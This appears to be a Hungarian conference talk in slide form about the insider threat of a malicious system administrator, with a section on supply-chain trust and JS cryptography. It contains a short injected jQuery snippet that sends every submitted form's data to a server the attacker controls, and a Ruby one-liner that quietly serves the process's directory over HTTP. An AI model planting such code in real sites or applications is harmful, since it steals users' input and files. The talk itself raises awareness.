A rendszergazda visszavág

Golda Bence

Bit and Pixel

Egy ideális világban mindenki...

Ismerjük a másik szándékait, azaz...

Itt, alapértelmezett a "bizalom."

...ha rákérdezek valamire, akkor a másik pont azt fogja mondani, ami a valódi szándéka. Pl. ha el akarja venni a táskámat az utcán, akkor rákérdezés esetén erről értesít. :) Ha ez a helyzet, hát Krav Maga. Egy ilyen világban az adatáramlás is egészen jól koordinálható, ha valakinek valamire szüksége van, akkor elkéri / megkérdezi.

Na ez nem az a világ.

Wake up Dorothy, you are not in Kansas anymore.

Gyűjtögetők

Többé-kevésbé a következőkből áll a világ. Vannak, akik "csak" gyűjtik az adatot. Buzzwordök: PRISM, NSA, GCHQ, Google, Facebook, stb. Hallgatnak, analizálnak, saját hasznukra fordítják azt az információt, amihez hozzájutnak. A legtöbb jelenlévő ebbe a társaságba tartozik, hiszen valamilyen módon akár egy jó edm kampány vagy egy Facebook alkalmazás is ezt a célt szolgálja. Adatot gyűjtünk, hogy értéket növelve visszaadjunk valamit és még mi is keressünk rajta egy nagy halom pénzt. Google esetén hirdetés, NSA esetén nemzetbiztonság.

Ghostery

Ghostery És ezek csak az ismertek. Gyalogoljatok fel egy tetszőleges warez vagy pornó szájtra, ott lesz még egy nagy halom -- olyan is, amit nem akartok. ;)

Irányítók

Vannak, akik a gyűjtögetésnél is tovább mennek és elveszik az adatot, átveszik az irányítást, stb. Legtöbbször rájuk szoktunk úgy hivatkozni, hogy hekkerek. Tuti van közöttünk ilyen is. :)

...és a tömeg

És persze van a bamba tömeg, ... érteni sem akarják ... nem is dolguk.
célok hozzáértés

...és a rendszergazda

Megérkeztünk. Tipikusan olyan emberek, akikben megbízunk, akik pl. segítik az életünket azzal, hogy telepítenek mindenféle okosságot. Olyan dolgokat, amik legtöbbször segítik az életünket.

A probléma

Mi van, ha a rendszergazda hirtelen más érdekek mentén kezd mozogni?

Mi van... Szopó.


Rendszergazda = Hekker.

Hirtelen belőle pont olyan ember lesz, akiben megbízunk, de épp nem azokat a célokat... na. ez gond.

Példák

Legegyszerűbbtől... a nehezebbeken át...

Induljunk a legdurvábbtól: rendszergazdaként simán megnézzük az egységsugarú felhasználók fájljait. Ehhez még érteni se' kell a dolgot. Mint egy átlagfelhasználó. Ennél egy fokkal keményebb dió, ha valamihez érteni is kell, mondjuk egy adatbáziskezelő. Ha a connection string a gépen van (általában ott van), akkor nyert ügyünk van. ...mi van, ha az titkosított? akkor kell olvasni a memóriát -- pl. virtuális gépből...

JS-inject

          
  <script>
  $("form").on("submit", function() {
    $.ajax({type: "POST", url: "/my-ruby-server",
    data: $(this).serialize()});
  });
  </script>
          
        
vagy mondjuk felhasználói inputra van szükség? de hozzáférünk a kódhoz valamilyen módon? Még a cross-domain dolgokkal sem kell foglalkozni. Ott van a gépen a "CGI" vagy megérkezik, vagy nem (általában meg fog) Ebben az a durva, hogy google és api.jquery.com segítségével 1 perc 24 másodperc alatt vadászható össze.

Injected Ruby WS

          
  require 'webrick' # stdlib része :)
  Thread.new do
    WEBrick::HTTPServer.new(
      :Port=>2000,:DocumentRoot=>Dir::pwd
    ).start
  end
          
        
Vagy mondjuk itt ez a pár sor Ruby kód, ugyancsak google egyperces, amivel processzen belül tudok egyszerűen szervert indítani. Ha kell, a WEBrick kódját is be lehet előtte a require sor helyett pakolni. Rendszergazdaként ez még egyszerűbb is lehet, hiszen Apache, nginx és egyéb szerver-hegyek állnak általában rendelkezésre. Evalra annyi mód van... hát Ruuuby... Vagy mondjuk Rack modult integrálni egy bármilyen Rails környezetbe.

Ken Thompson Hack

Mai tyúk-tojás #1

Sőt, az OSX olyan ökoszisztémát állított össze, amiben arra is van lehetőség, hogy... Vagy olyan dolgot telepít fel, amivel vírusként tudja kiterjeszteni saját "rossz" érdekeltségét azokon a megoldásokon keresztül, amit én állítok elő. Erre jó példa a KTH, ami arról szól, hogy...

Megoldás

David A. Wheeler

http://imgur.com/a/BWbnU és persze a linkerről, az összehasonlítást végző programról még szó sem esett... :) meg arról sem, hogy -- ha egészen paranoiásak vagyunk -- akkor tulajdonképpen a hálózatról letöltött szoftverben sem bízhatunk meg. sőt abban sem, amit most épp használunk -- lásd Apple... írjunk újat, nulláról. napersze #2.

Az úr az, aki a kódot hozza

Ez a fontos!


Rendszergazda = Szállító.

Tehát nem szabad bedőlni annak sem, hogy iCloud keychain, meg "igen hatékony, 256 bites AES", mert az egész nem ér semmit, ha olyan programot szállítanak, ami valahogy menti a jelszavainkat és elküldi valahova néhanapján. http://arstechnica.com/information-technology/2013/10/apple-claim-that-icloud-can-store-passwords-only-locally-seems-to-be-false/

JS crypto considered harmful

Mai tyúk-tojás #2

The PGP cryptosystem is approaching two decades of continuous study. Just as all programs evolve towards a point where they can read email, and all languages contain a poorly-specified and buggy implementation of Lisp, most crypto code is at heart an inferior version of PGP.— Matasano Security

Hasonló tyúk-tojás problémák miatt nem érdemes mostanában (még) JS titkosításra komoly üzletet alapozni. A különbség itt az, hogy ezeket nem nagyon lehet megoldani. Hogyan juttatunk el úgy kódot, hogy azt előbb-utóbb ne tudja módosítani valaki a kliensen, a szerveren vagy akárhol, ahol hozzáfér a csatornához vagy a kódhoz. Probléma, hogy a tartalom vezérli a kódot, nincsenek rendszerközeli primitívek cryptohoz, nincs rendes random generátor és nem lehet biztonságosan tárolni egy kulcsot. Csak ennyi a probléma. Ha ezek megoldódnak, akkor szuper. http://www.matasano.com/articles/javascript-cryptography/

emscripten + OpenSSL

emscripten + GnuPG

És mégis vannak ilyen őrültek. Sőt, mindjárt kiderül, hogy én is...

Rossz eszközök

           
      if (      moo)
                {
                blah();
                }

      if (bad)
           goto err;
                                      ...
      if (0) {
  err:
                do_something_horrible();
      }
          
          

Ez OpenSSL.

Ha nem a paranoia, vagy a szuperzseni irányból, hanem a hozzánemértés vagy a direkt genyaság irányából közelítjük meg, akkor az OpenSSL projekt ragyogó állatorvosi lova a gányolt kódnak. http://www.peereboom.us/assl/assl/html/openssl.html -- Marco Peereboom *WASH_Eyes_outWith_soap* Helyette számos esetben lehet PolarSSL-t használni, ami nem amerikai, de legalább holland, ami egy kicsit közelebb van, meg jóval inkább EU. Ennél is fontosabb, hogy lényegesen szebb a forráskódja és nem terjedt róla el, hogy majmok programozták. olyan kódban, ami ilyen, még a leggyakorlottabbak sem tudnak értelmesen hibát keresni. Nincs az a nyavaja, hogy ezt valaki átlássa, még automatákkal sem. OK, automatákkal? hajrá. egy ilyet azok sem esznek meg.

Dark corners of C

Rob Kendrick

           
  #define else
          
        
És persze ilyet is csinálhat a rendszergazda, egyszerűen az stdlib.h vagy valamelyik bepakolásával... Rob Kendrick -- Some dark corners of C https://docs.google.com/presentation/d/1h49gY3TSiayLMXYmRMaAEMl05FaJ-Z6jDOWOz3EsqqQ/edit?pli=1#slide=id.gec7eb408_3500

Megoldás?

Kikerülhető a gonosz Rendszergazda?

Megkerülni nem lehet, de ha a kódhoz semmi köze sincs, akkor átugorható. Ha olyan forrásból tudjuk beszerezni a futtatott kódjainkat -- kernel, libek, programok -- és csak a hálózati kommunikáció, illetve a távoli adattárolás a feladata, akkor elképzelhető.

Ultimate Holy Grail

Fully Homomorphic Encryption

Gentry, van Dijk, Halevi, Vaikuntanathan, Brakerski, Coron, Naccache, Tibouchi

Ezt a három szót és ezt a pár nevet érdemes a következő pár évre megjegyezni. A lényeg annyi, hogy olyan tárolási eljárást takar, ami a titkosított adatokon a normál adatbázis-műveletek megtartását jelenti, azaz titkosított adatokon SQL műveteleteket hajthatunk végre, a feldolgozó számára az adat fekete dobozként megy be és úgy is jön ki.

Végpont titkosított / aláírt kommunikáció

Bevásárlólista

Ha valami nem frankó és tiszta, akkor azt bahhatjuk

end.